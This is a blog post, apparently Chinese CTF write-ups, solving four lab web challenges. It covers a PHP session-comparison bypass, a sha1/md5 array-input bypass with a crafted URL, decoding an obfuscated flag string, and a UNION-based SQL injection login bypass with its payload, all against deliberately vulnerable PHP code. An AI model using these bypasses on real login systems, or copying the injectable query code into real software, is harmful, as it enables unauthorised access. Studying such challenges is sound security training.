zoukankan      html  css  js  c++  java
  • 【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题

     

    guess next session源码:

    <?php
    session_start(); 
    if (isset ($_GET['password'])) {
        if ($_GET['password'] == $_SESSION['password'])
            die ('Flag: '.$flag);
        else
            print '<p>Wrong guess.</p>';
    }
    
    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    ?>

    要求password=session时,输出flag,所以设置session值为0,提交password为0时可以成功

    bp抓包出了问题,

    右键删除PHPSESSID,空白密码提交,就出来了:

     FALSE:

    <?php
    if (isset($_GET['name']) and isset($_GET['password'])) {
        if ($_GET['name'] == $_GET['password'])
            echo '<p>Your password can not be your name!</p>';
        else if (sha1($_GET['name']) === sha1($_GET['password']))
          die('Flag: '.$flag);
        else
            echo '<p>Invalid password.</p>';
    }
    else{
        echo '<p>Login first!</p>';
    ?>

    name!=password,但sha1后name=password时,可以成功

    补充:sha1漏洞

    md5 和 sha1 无法处理数组,返回 NULL
    
    if (@sha1([]) ==  false)
        echo 1;
    if (@md5([]) ==  false)
        echo 2;
    echo var_dump(@sha1([]));
    

     md5和sha1无法处理数组,所以可以设置为数组,得sha1值都为Null,于是构造:

    http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2

    注意,name!=password,取值要不同

     NSCTF web200

    打开图片就是把给出的字符串逆着解码 ,于是逆着原来的编码进行解码:

     <?php
        function decode($str)
        {
            $_='';
            
            $a=base64_decode(strrev(str_rot13($str)));
            for($i=0;$i<strlen($a);$i++)
            {
                $_c=substr($a,$i,1);
                $__=ord($_c)-1;
                $_c=chr($__);
                $_=$_.$_c;
            }
            return strrev($_);
        }
        print decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");//解码得flag
    
    ?>  
     

    得到flag:

     程序逻辑问题:

    看一下源码:

    <html>
    <head>
    welcome to simplexue
    </head>
    <body>
    <?php
    
    
    if($_POST[user] && $_POST[pass]) {
        $conn = mysql_connect("********, "*****", "********");
        mysql_select_db("phpformysql") or die("Could not select database");
        if ($conn->connect_error) {
            die("Connection failed: " . mysql_error($conn));
    } 
    $user = $_POST[user];//输入的用户名
    $pass = md5($_POST[pass]);//输入密码的md5密文
    
    $sql = "select pw from php where user='$user'";//从php表中检索用户登陆时输入的用户名的密码(pw列)
    $query = mysql_query($sql);//执行sql变量的SQL语句
    if (!$query) {
        printf("Error: %s
    ", mysql_error($conn));
        exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);//声明row变量是把sql变量的SQL语句执行后返回的结果转换为数组
    //echo $row["pw"];
      
      if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
        echo "<p>Logged in! Key:************** </p>";//如果row变量中pw的内容和用户登陆时输入的密码的MD5密码相同,则输出“Logged in!”并输出key
    }
    else {
        echo("<p>Log in failure!</p>");
        
      }
      
      
    }
    
    ?>
    <form method=post action=index.php>
    <input type=text name=user value="Username">
    <input type=password name=pass value="Password">
    <input type=submit>
    </form>
    </body>
    <a href="index.txt">
    </html>

    通过上述对代码的分析,因此,我们只需要让输入的密码的MD5密文和数据库检索出来的密码匹配就可以绕过验证,得到key

    于是注入:

    xxx' and 0=1 union select "C4CA4238A0B923820DCC509A6F75849B" # 密码输入1

    输出flag:

  • 相关阅读:
    git 的常用命令(未完待补充)
    Mysql占用内存过高参数优化
    mysql安全基线设置
    redis安全基线设置
    centos7安全基线设置
    检查shell脚本
    redis安装和配置
    TIME_WAIT状态全是3306解决办法
    PHP message: PHP Fatal error: Allowed memory size of 134217728 bytes exhausted 错误
    tcp的三次握手和四次挥手(二)
  • 原文地址:https://www.cnblogs.com/liuyimin/p/7703891.html
Copyright © 2011-2022 走看看